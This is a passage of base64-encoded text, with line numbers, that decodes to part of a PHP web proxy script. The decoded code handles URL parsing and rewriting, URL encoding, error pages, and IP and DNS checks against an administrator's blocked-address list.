  1213. JG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsCiAgICAgICRodG1sbm9xdW90LCRodG1s
  1214. bm9xdW90bm9xbSwkaHRtbHJlZywkeG1saHR0cHJlcSwkanNuZXdvYmosJGZvcm1ub3Rwb3N0LCRm
  1215. cmFtZXRhcmdldHMsCiAgICAgICRqc19zdHJpbmdfbWV0aG9kcywkanNfc3RyaW5nX2F0dHJzLAog
  1216. ICAgICAkanNfcmVnZXhwX2FycmF5cwopOwoKIyB9fX0KCiMgfX19CgojIFBST1hZIEZVTkNUSU9O
  1217. UyB7e3sKCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ewoKIyBjbGFzcyBmb3IgVVJM
  1218. CmNsYXNzIGF1cmx7Cgl2YXIgJHVybCwkdG9wdXJsLCRsb2NrZWQ7Cgl2YXIgJHByb3RvLCR1c2Vy
  1219. cGFzcywkc2VydmVybmFtZSwkcG9ydHZhbCwkcGF0aCwkZmlsZSwkcXVlcnksJGxhYmVsOwoKCWZ1
  1220. bmN0aW9uIGF1cmwoJHVybCwkdG9wdXJsPW51bGwpewoKCQlpZihzdHJsZW4oJHVybCk+TUFYSU1V
  1221. TV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7CgkJZWxzZSAkdGhpcy0+dXJsPXByZWdfcmVw
  1222. bGFjZSgnLyYjKFswLTldKyk7L2UnLCdjaHIoXDEpJyx0cmltKHN0cl9yZXBsYWNlKCcmYW1wOycs
  1223. JyYnLHN0cl9yZXBsYWNlKGNocigxMyksbnVsbCxzdHJfcmVwbGFjZShjaHIoMTApLG51bGwsJHVy
  1224. bCkpKSkpOwoJCSR0aGlzLT50b3B1cmw9JHRvcHVybDsKCgkJJHRoaXMtPmRldGVybWluZV9sb2Nr
  1225. ZWQoKTsKCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47CgoJCSR1cmx3YXN2YWxpZD10cnVlOwoJ
  1226. CWlmKCFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSl7CgkJCSR1cmx3YXN2YWxpZD1mYWxz
  1227. ZTsKCQkJaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycuKCgkdGhp
  1228. cy0+dXJsezB9PT0nOicgfHwgJHRoaXMtPnVybHswfT09Jy8nKT9zdWJzdHIoJHRoaXMtPnVybCwx
  1229. KTokdGhpcy0+dXJsKS4oc3RycG9zKCR0aGlzLT51cmwsJy8nKSE9PWZhbHNlP251bGw6Jy8nKTsK
  1230. CQkJI2lmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLnByZWdfcmVw
  1231. bGFjZSgiL146P1wvezAsMn0vIiwiIiwkdGhpcy0+dXJsKS4oc3RycG9zKCR0aGlzLT51cmwsJy8n
  1232. KSE9PWZhbHNlP251bGw6Jy8nKTsKCQkJZWxzZXsKCQkJCSRuZXd1cmw9JHRoaXMtPnRvcHVybC0+
  1233. Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT50b3B1cmwtPmdldF91c2Vy
  1234. cGFzcygpKS4kdGhpcy0+dG9wdXJsLT5nZXRfc2VydmVybmFtZSgpLigoJHRoaXMtPnRvcHVybC0+
  1235. Z2V0X3BvcnR2YWwoKSE9ODAgJiYgKCR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpPT0naHR0cHMn
  1236. PyR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTQ0Mzp0cnVlKSk/JzonLiR0aGlzLT50b3B1
  1237. cmwtPmdldF9wb3J0dmFsKCk6bnVsbCk7CgkJCQlpZigkdGhpcy0+dXJsezB9IT0nLycpICRuZXd1
  1238. cmwuPSR0aGlzLT50b3B1cmwtPmdldF9wYXRoKCk7CgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRo
  1239. aXMtPnVybDsKCQkJfQoJCX0KCgkJJHRoaXMtPnNldF9wcm90bygoJHVybHdhc3ZhbGlkIHx8ICR0
  1240. aGlzLT50b3B1cmw9PW51bGw/cHJlZ19yZXBsYWNlKCcvXihbXjpcL10qKS4qJC8nLCdcMScsJHRo
  1241. aXMtPnVybCk6JHRoaXMtPnRvcHVybC0+Z2V0X3Byb3RvKCkpKTsKCQkkdGhpcy0+c2V0X3VzZXJw
  1242. YXNzKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wyJywkdGhpcy0+dXJsKSk7CgkJJHRoaXMtPnNldF9z
  1243. ZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7CgkJJHRoaXMt
  1244. PnNldF9wb3J0dmFsKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w0JywkdGhpcy0+dXJsKSk7CgkJJHRo
  1245. aXMtPnNldF9wYXRoKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w1JywkdGhpcy0+dXJsKSk7CgkJJHRo
  1246. aXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7CgkJJHRo
  1247. aXMtPnNldF9xdWVyeShwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNycsJHRoaXMtPnVybCkpOwoJCSR0
  1248. aGlzLT5zZXRfbGFiZWwocHJlZ19yZXBsYWNlKFVSTFJFRywnXDgnLCR0aGlzLT51cmwpKTsKCgkJ
  1249. aWYoISR0aGlzLT5sb2NrZWQgJiYgIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKSBoYXZv
  1250. ayg3LCR0aGlzLT51cmwpOyAjKgoJfQoKCWZ1bmN0aW9uIGRldGVybWluZV9sb2NrZWQoKXsgJHRo
  1251. aXMtPmxvY2tlZD1wcmVnX21hdGNoKEFVUkxfTE9DS19SRUdFWFAsJHRoaXMtPnVybCk+MDsgfSAj
  1252. KgoKCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpewoJCSRmaWVsZHJlcXM9
  1253. YXJyYXkoMiA9PiAnOi8vJy4oJHZhbHVlIT1udWxsPyIkdmFsdWVAIjpudWxsKSwgNCA9PiAoJHZh
  1254. bHVlIT1udWxsICYmIGludHZhbCgkdmFsdWUpIT04MD8nOicuaW50dmFsKCR2YWx1ZSk6bnVsbCks
  1255. IDcgPT4gKCR2YWx1ZSE9bnVsbD8iPyR2YWx1ZSI6bnVsbCksIDggPT4gKCR2YWx1ZSE9bnVsbD8i
  1256. IyR2YWx1ZSI6bnVsbCkpOwoJCWlmKCFhcnJheV9rZXlfZXhpc3RzKCRmaWVsZG5vLCRmaWVsZHJl
  1257. cXMpKSByZXR1cm4gKGVtcHR5KCR2YWx1ZSk/bnVsbDokdmFsdWUpOwoJCWVsc2UgcmV0dXJuICRm
  1258. aWVsZHJlcXNbJGZpZWxkbm9dOwoJfQoKCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBp
  1259. ZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHBy
  1260. b3RvOidodHRwJyk7IH0KCWZ1bmN0aW9uIGdldF9wcm90bygpeyByZXR1cm4gJHRoaXMtPnByb3Rv
  1261. OyB9CglmdW5jdGlvbiBnZXRfdXNlcnBhc3MoKXsgcmV0dXJuICR0aGlzLT51c2VycGFzczsgfQoJ
  1262. ZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1
  1263. c2VycGFzczsgfQoJZnVuY3Rpb24gZ2V0X3NlcnZlcm5hbWUoKXsgcmV0dXJuICR0aGlzLT5zZXJ2
  1264. ZXJuYW1lOyB9CglmdW5jdGlvbiBzZXRfc2VydmVybmFtZSgkc2VydmVybmFtZT1udWxsKXsgJHRo
  1265. aXMtPnNlcnZlcm5hbWU9JHNlcnZlcm5hbWU7IH0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJl
  1266. dHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/
  1267. JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9CglmdW5jdGlvbiBzZXRfcG9ydHZhbCgkcG9y
  1268. dD1udWxsKXsgJHRoaXMtPnBvcnR2YWw9c3RydmFsKChpbnR2YWwoJHBvcnQpIT04MCk/JHBvcnQ6
  1269. bnVsbCk7IH0KCWZ1bmN0aW9uIGdldF9wYXRoKCl7CgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcv
  1270. Li4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAs
  1271. MX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7CgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcv
  1272. Li8nKSE9PWZhbHNlKSB3aGlsZSgoJHBhdGg9c3RyX3JlcGxhY2UoJy8uLycsJy8nLCR0aGlzLT5w
  1273. YXRoKSkgJiYgJHBhdGghPSR0aGlzLT5wYXRoKSAkdGhpcy0+cGF0aD0kcGF0aDsKCQlyZXR1cm4g
  1274. JHRoaXMtPnBhdGg7Cgl9CglmdW5jdGlvbiBzZXRfcGF0aCgkcGF0aD1udWxsKXsgJHRoaXMtPnBh
  1275. dGg9KGVtcHR5KCRwYXRoKT8nLyc6JHBhdGgpOyB9CglmdW5jdGlvbiBnZXRfZmlsZSgpeyByZXR1
  1276. cm4gJHRoaXMtPmZpbGU7IH0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+
  1277. ZmlsZT0kZmlsZTsgfQoJZnVuY3Rpb24gZ2V0X3F1ZXJ5KCl7IHJldHVybiAkdGhpcy0+cXVlcnk7
  1278. IH0KCWZ1bmN0aW9uIHNldF9xdWVyeSgkcXVlcnk9bnVsbCl7ICR0aGlzLT5xdWVyeT0kcXVlcnk7
  1279. IH0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9CglmdW5jdGlv
  1280. biBzZXRfbGFiZWwoJGxhYmVsPW51bGwpeyAkdGhpcy0+bGFiZWw9JGxhYmVsOyB9CgoJZnVuY3Rp
  1281. b24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpewoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybiAk
  1282. dGhpcy0+dXJsOwoJCXJldHVybiAkdGhpcy0+Z2V0X3Byb3RvKCkuJzovLycuCgkJICAgICAgICgk
  1283. dGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0An
  1284. KS4KCQkgICAgICAgJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuCgkJICAgICAgICgoJHRoaXMtPmdl
  1285. dF9wcm90bygpPT0naHR0cHMnICYmIGludHZhbCgkdGhpcy0+Z2V0X3BvcnR2YWwoKSk9PTQ0Mykg
  1286. fHwgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09ODA/bnVsbDonOicuaW50dmFsKCR0aGlz
  1287. LT5nZXRfcG9ydHZhbCgpKSkuCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRf
  1288. ZmlsZSgpLgoJCSAgICAgICAoJHRoaXMtPmdldF9xdWVyeSgpPT1udWxsP251bGw6Jz8nLiR0aGlz
  1289. LT5nZXRfcXVlcnkoKSkuCgkJICAgICAgICgkd2l0aGxhYmVsICYmICR0aGlzLT5nZXRfbGFiZWwo
  1290. KT09bnVsbD9udWxsOicjJy4kdGhpcy0+Z2V0X2xhYmVsKCkpCgkJOwoJfQoKCWZ1bmN0aW9uIHN1
  1291. cnJvZ2FmeSgpewoJCSRsYWJlbD0kdGhpcy0+Z2V0X2xhYmVsKCk7CgkJJHRoaXMtPnNldF9sYWJl
  1292. bCgpOwoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsKCQkkdGhpcy0+c2V0X2xhYmVsKCRsYWJlbCk7
  1293. CgoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOwoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVy
  1294. biAkdXJsOwoJCSMgfHwgJHRoaXMtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwk
  1295. dGhpcy0+Z2V0X3VzZXJwYXNzKCkpLiR0aGlzLT5nZXRfc2VydmVybmFtZSgpLiR0aGlzLT5nZXRf
  1296. cGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpPT1USElTX1NDUklQVCkgcmV0dXJuICR1cmw7CgoJCWlm
  1297. KEVOQ1JZUFRfVVJMUyAmJiAhJHRoaXMtPmxvY2tlZCkgJHVybD1wcm94ZW5jKCR1cmwpOwoJCSMk
  1298. dXJsPVRISVNfU0NSSVBULic/PScuKCFFTkNSWVBUX1VSTFM/dXJsZW5jb2RlKCR1cmwpOiR1cmwp
  1299. LighZW1wdHkoJGxhYmVsKT8iIyRsYWJlbCI6bnVsbCk7ICMgdXJsZW5jb2RlZAoJCSR1cmw9VEhJ
  1300. U19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOwoJCXJl
  1301. dHVybiAkdXJsOwoJfQp9IAoKIyB9fX0KCiMgUFJPWFkgRlVOQ1RJT05TOiBVUkwgUEFSU0lORyB7
  1302. e3sKZnVuY3Rpb24gc3Vycm9nYWZ5X3VybCgkdXJsLCR0b3B1cmw9ZmFsc2UsJGFkZHByb3h5PXRy
  1303. dWUpewoJZ2xvYmFsICRjdXJyX3VybG9iajsKCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipc
  1304. MSQvaXMnLCR1cmwpPjApewoJaWYoKCR1cmx7MH09PSciJyAmJiBzdWJzdHIoJHVybCwtMSk9PSci
  1305. JykgfHwgKCR1cmx7MH09PSdcJycgJiYgc3Vic3RyKCR1cmwsLTEpPT0nXCcnKSl7CgkJJHVybHF1
  1306. b3RlPSR1cmx7MH07CgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsKCX0KCWlm
  1307. KCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7CgkkdXJsb2JqPW5ldyBhdXJs
  1308. KCR1cmwsJHRvcHVybCk7CgkkbmV3X3VybD0oJGFkZHByb3h5PyR1cmxvYmotPnN1cnJvZ2FmeSgp
  1309. OiR1cmxvYmotPmdldF91cmwoKSk7CglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9Insk
  1310. dXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsKCXJldHVybiAkbmV3X3VybDsKfQoKZnVu
  1311. Y3Rpb24gZnJhbWlmeV91cmwoJHVybCwkZnJhbWVfdHlwZT1mYWxzZSl7CglpZigoJGZyYW1lX3R5
  1312. cGUhPT1QQUdFVFlQRV9GUkFNRV9UT1AgfHwgIVVSTF9GT1JNKSAmJiAoJGZyYW1lX3R5cGUhPT1Q
  1313. QUdFVFlQRV9GUkFNRURfUEFHRSAmJiAhUEFHRV9GUkFNRUQpKSByZXR1cm4gJHVybDsKCS8vaWYo
  1314. cHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApewoJaWYoKCR1cmx7MH09PSci
  1315. JyAmJiBzdWJzdHIoJHVybCwtMSk9PSciJykgfHwgKCR1cmx7MH09PSdcJycgJiYgc3Vic3RyKCR1
  1316. cmwsLTEpPT0nXCcnKSl7CgkJJHVybHF1b3RlPSR1cmx7MH07CgkJJHVybD1zdWJzdHIoJHVybCwx
  1317. LHN0cmxlbigkdXJsKS0yKTsKCX0KCWlmKHByZWdfbWF0Y2goRlJBTUVfTE9DS19SRUdFWFAsJHVy
  1318. bCk8PTApewoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JN
  1319. KSAkcXVlcnk9JyY9JzsKCQllbHNlaWYoJGZyYW1lX3R5cGU9PT1QQUdFVFlQRV9GUkFNRURfQ0hJ
  1320. TEQpICRxdWVyeT0nLiY9JzsKCQllbHNlaWYoJGZyYW1lX3R5cGU9PT1QQUdFVFlQRV9GUkFNRURf
  1321. UEFHRSB8fCBQQUdFX0ZSQU1FRCkgJHF1ZXJ5PSdfJj0nOwoJCWVsc2UgJHF1ZXJ5PW51bGw7CgkJ
  1322. JHVybD1wcmVnX3JlcGxhY2UoJy9eKFteXD9dKilbXD9dPycuUEFHRVRZUEVfTUlOSVJFR0VYUC4n
  1323. KFteI10qP1sjXT8uKj8pJC8nLCJcXDE/PXskcXVlcnl9XFwzIiwkdXJsLDEpOwoJfQoJaWYoIWVt
  1324. cHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOwoJcmV0
  1325. dXJuICR1cmw7Cn0KCmZ1bmN0aW9uIHByb3hlbmMoJHVybCl7CglpZigkdXJsezB9PT0nficgfHwg
  1326. c3RydG9sb3dlcihzdWJzdHIoJHVybCwwLDMpKT09JyU3ZScpIHJldHVybiAkdXJsOwoJJHVybD11
  1327. cmxlbmNvZGUoJHVybCk7CgkkbmV3X3VybD1udWxsOwoJZm9yKCRpPTA7JGk8c3RybGVuKCR1cmwp
  1328. OyRpKyspewoJCSRjaGFyPW9yZCgkdXJseyRpfSk7CgkJJGNoYXIrPW9yZChzdWJzdHIoU0VTU19Q
  1329. UkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsKCQl3aGlsZSgkY2hhcj4xMjYpICRjaGFyLT05
  1330. NDsKCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsKCX0KCSNyZXR1cm4gJ34nLmJhc2U2NF9lbmNvZGUo
  1331. JG5ld191cmwpOwoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkp
  1332. Owp9CgojIH19fQoKIyBQUk9YWSBGVU5DVElPTlM6IEVSUk9SUyAmIEVYSVRJTkcge3t7CgpmdW5j
  1333. dGlvbiBmaW5pc2hfbm9leGl0KCl7CglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsKCSMgc2F2ZSBE
  1334. TlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcKCSRfU0VTU0lPTlsnRE5TX0NBQ0hFX0FSUkFZJ109JGRu
  1335. c19jYWNoZV9hcnJheTsKfQoKZnVuY3Rpb24gZmluaXNoKCl7CglmaW5pc2hfbm9leGl0KCk7Cgll
  1336. eGl0KCk7Cn0KCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwk
  1337. YXJnMz1udWxsKXsKCWdsb2JhbCAkY3Vycl91cmw7CgkkdXJsPSRjdXJyX3VybDsKCXN3aXRjaCgk
  1338. ZXJyb3Jubyl7CgkJY2FzZSAxOgoJCQkkZXQ9J0JhZCBJUCBBZGRyZXNzJzsKCQkJJGVkPSJUaGUg
  1339. SVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBv
  1340. ciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJs
  1341. ZSBJUCBhZGRyZXNzLiI7CgkJCWJyZWFrOwoJCWNhc2UgMjoKCQkJJGV0PSdBZGRyZXNzIGlzIEJs
  1342. b2NrZWQnOwoJCQkkZWQ9IlRoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgc2VydmljZSBo
  1343. YXMgZGVjaWRlZCB0byBibG9jayB0aGlzIGFkZHJlc3MsIGRvbWFpbiwgb3Igc3VibmV0LlxuPGJy
  1344. IC8+PGJyIC8+XG5Eb21haW46IHskYXJnMX1cbjxiciAvPlxuQWRkcmVzczogeyRhcmcyfSI7CgkJ
  1345. CWJyZWFrOwoJCWNhc2UgMzoKCQkJJGV0PSdDb3VsZCBOb3QgUmVzb2x2ZSBEb21haW4nOwoJCQkk
  1346. ZWQ9IlRoZSBkb21haW4gb2YgdGhlIFVSTCBnaXZlbiAoeyRhcmcxfSkgY291bGQgbm90IGJlIHJl
  1347. c29sdmVkIGR1ZSB0byBETlMgaXNzdWVzIG9yIGFuIGVycm9ybmVvdXMgZG9tYWluIG5hbWUuIjsK
  1348. CQkJYnJlYWs7CgkJY2FzZSA0OgoJCQkkZXQ9J0JhZCBGaWx0ZXJzJzsKCQkJJGVkPSdUaGUgYWRt
  1349. aW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBk
  1350. b21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7
  1351. CgkJCWJyZWFrOwoJCWNhc2UgNToKCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7CgkJCSRlZD0n
  1352. VGhlIGFkbWluaXN0cmF0b3Igb2YgdGhpcyBwcm94eSBoYXMgZGVjaWRlZCB0byBibG9jayB0aGlz
  1353. IGRvbWFpbi4nOwoJCQlicmVhazsKCQljYXNlIDY6CgkJCSRldD0nQ291bGQgTm90IENvbm5lY3Qg
  1354. dG8gU2VydmVyJzsKCQkJJGVkPSJBbiBlcnJvciBoYXMgb2NjdXJyZWQgd2hpbGUgYXR0ZW1wdGlu
  1355. ZyB0byBjb25uZWN0IHRvIFwieyRhcmcxfVwiIG9uIHBvcnQgXCJ7JGFyZzJ9XCIuIjsKCQkJYnJl
  1356. YWs7CgkJY2FzZSA3OgoJCQkkZXQ9J0ludmFsaWQgVVJMJzsKCQkJJGVkPSdUaGUgVVJMIGJlbG93
  1357. IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOwoJCQkkdXJsPSRhcmcxOwoJCQli
  1358. cmVhazsKCX0KCSRlZC49IlxuPGJyIC8+PGJyIC8+XG5VUkw6Jm5ic3A7eyR1cmx9IjsKPz4KPGRp
  1359. diBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+
  1360. PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4KCTxk
  1361. aXYgc3R5bGU9ImZsb2F0OiBsZWZ0OyBib3JkZXI6IDFweCBzb2xpZCAjNjAyMDIwOyBwYWRkaW5n
  1362. OiAxcHg7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYiPgoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxl
  1363. ZnQ7IGJhY2tncm91bmQtY29sb3I6ICM4MDEwMTA7IGNvbG9yOiAjRkZGRkZGOyBmb250LXdlaWdo
  1364. dDogYm9sZDsgZm9udC1zaXplOiA1NHB4OyBwYWRkaW5nOiAycHg7IHBhZGRpbmctbGVmdDogMTJw
  1365. eDsgcGFkZGluZy1yaWdodDogMTJweCI+ITwvZGl2PgoJPC9kaXY+Cgk8ZGl2IHN0eWxlPSJmbG9h
  1366. dDogbGVmdDsgd2lkdGg6IDUwMHB4OyBwYWRkaW5nLWxlZnQ6IDIwcHgiPgoJCTxkaXYgc3R5bGU9
  1367. ImJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMDAwMDAwOyBmb250LXNpemU6IDEycHQ7IHRleHQt
  1368. YWxpZ246IGNlbnRlcjsgZm9udC13ZWlnaHQ6IGJvbGQ7IHBhZGRpbmc6IDJweCI+RXJyb3I6IDw/
  1369. cGhwIGVjaG8oJGV0KTsgPz48L2Rpdj4KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhw
  1370. IGVjaG8oJGVkKTsgPz48L2Rpdj4KCTwvZGl2Pgo8L2Rpdj48L2Rpdj4KPD9waHAgZmluaXNoKCk7
  1371. IH0KCiMgfX19CgojIFBST1hZIEZVTkNUSU9OUzogVENQL0lQIHt7ewoKZnVuY3Rpb24gaXBiaXR0
  1372. ZXIoJGlwYWRkcil7CgkkaXBzcGxpdD1leHBsb2RlKCcuJywkaXBhZGRyKTsKCWZvcigkaT0wOyRp
  1373. PDQ7JGkrKyl7CgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOwoJCSRpcHNwbGl0
  1374. WyRpXT1zdHJfcmVwZWF0KCcwJyw4LXN0cmxlbigkaXBzcGxpdFskaV0pKS4kaXBzcGxpdFskaV07
  1375. Cgl9CglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsKfQoKZnVuY3Rpb24gaXBjb21wYXJl
  1376. KCRpcHJhbmdlLCRpcCl7CgkkaXByYXJyPXNwbGl0KCcvJywkaXByYW5nZSk7CgkkaXBhZGRyPSRp
  1377. cHJhcnJbMF07CgkkbWFzaz0kaXByYXJyWzFdOwoJJG1hc2tiaXRzPXN0cl9yZXBlYXQoJzEnLCRt
  1378. YXNrKS5zdHJfcmVwZWF0KCcwJywkbWFzayk7CgkkaXBiaXRzPWlwYml0dGVyKCRpcGFkZHIpOwoJ
  1379. JGlwYml0czI9aXBiaXR0ZXIoJGlwKTsKCXJldHVybiAoKCRpcGJpdHMgJiAkbWFza2JpdHMpPT0o
  1380. JGlwYml0czIgJiAkbWFza2JpdHMpKTsKfQoKZnVuY3Rpb24gaXBfY2hlY2soJGlwLCRtYXNrPWZh
  1381. bHNlKXsKCSRpcHNlZz0nKD86WzAxXT9bMC05XXsxLDJ9fDIoPzo1WzAtNV18WzAtNF1bMC05XSkp
  1382. JzsKCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/
  1383. J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoKfQoKZnVuY3Rpb24gZ2V0aG9zdGJ5
  1384. bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsKCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5OwoJJGlwYWRk
  1385. cj1nZXRob3N0YnluYW1lKCRhZGRyZXNzKTsKCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFy
  1386. cmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7CglyZXR1cm4gJGlwYWRkcjsK
  1387. fQoKZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWQoJGFkZHJlc3MpewoJZ2xvYmFsICRkbnNf
  1388. Y2FjaGVfYXJyYXk7CglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVy
  1389. biAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107CglyZXR1cm4gZ2V0aG9zdGJ5
  1390. bmFtZV9jYWNoZWl0KCRhZGRyZXNzKTsKfQoKZnVuY3Rpb24gZ2V0X2NoZWNrKCRhZGRyZXNzKXsK
  1391. CWdsb2JhbCAkYmxvY2tlZF9hZGRyZXNzZXM7CglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRh
  1392. ZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7CgkkaXBjPWlwX2NoZWNrKCRh
  1393. ZGRyZXNzKTsKCSRhZGRyZXNzaXA9KGlwX2NoZWNrKCRhZGRyZXNzKT8kYWRkcmVzczpnZXRob3N0
  1394. YnluYW1lX2NhY2hlZCgkYWRkcmVzcykpOwoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZv
  1395. aygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOwoJZm9yZWFjaCgkYmxvY2tlZF9hZGRyZXNzZXMgYXMg
  1396. JGJhZGQpewoJCWlmKCEkaXBjKSBpZihzdHJsZW4oJGJhZGQpPD1zdHJsZW4oJGFkZHJlc3MpICYm
  1397. IHN1YnN0cigkYWRkcmVzcyxzdHJsZW4oJGFkZHJlc3MpLXN0cmxlbigkYmFkZCksc3RybGVuKCRi
  1398. YWRkKSk9PSRiYWRkKSBoYXZvayg1KTsKCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwk
  1399. YWRkcmVzcywkYWRkcmVzc2lwKTsKCQllbHNlaWYoaXBfY2hlY2soJGJhZGQsdHJ1ZSkpeyBpZihp
  1400. cGNvbXBhcmUoJGJhZGQsJGFkZHJlc3NpcCkpIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7
  1401. IH0KCQllbHNlewoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsKCQkJaWYo
  1402. ZW1wdHkoJGJhZGRpcCkpIGhhdm9rKDQpOwoJCQlpZigkYmFkZGlwPT0kYWRkcmVzc2lwKSBoYXZv
  1403. aygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOwoJCX0KCX0KCXJldHVybiAkYWRkcmVzc2lwOwp9Cgoj
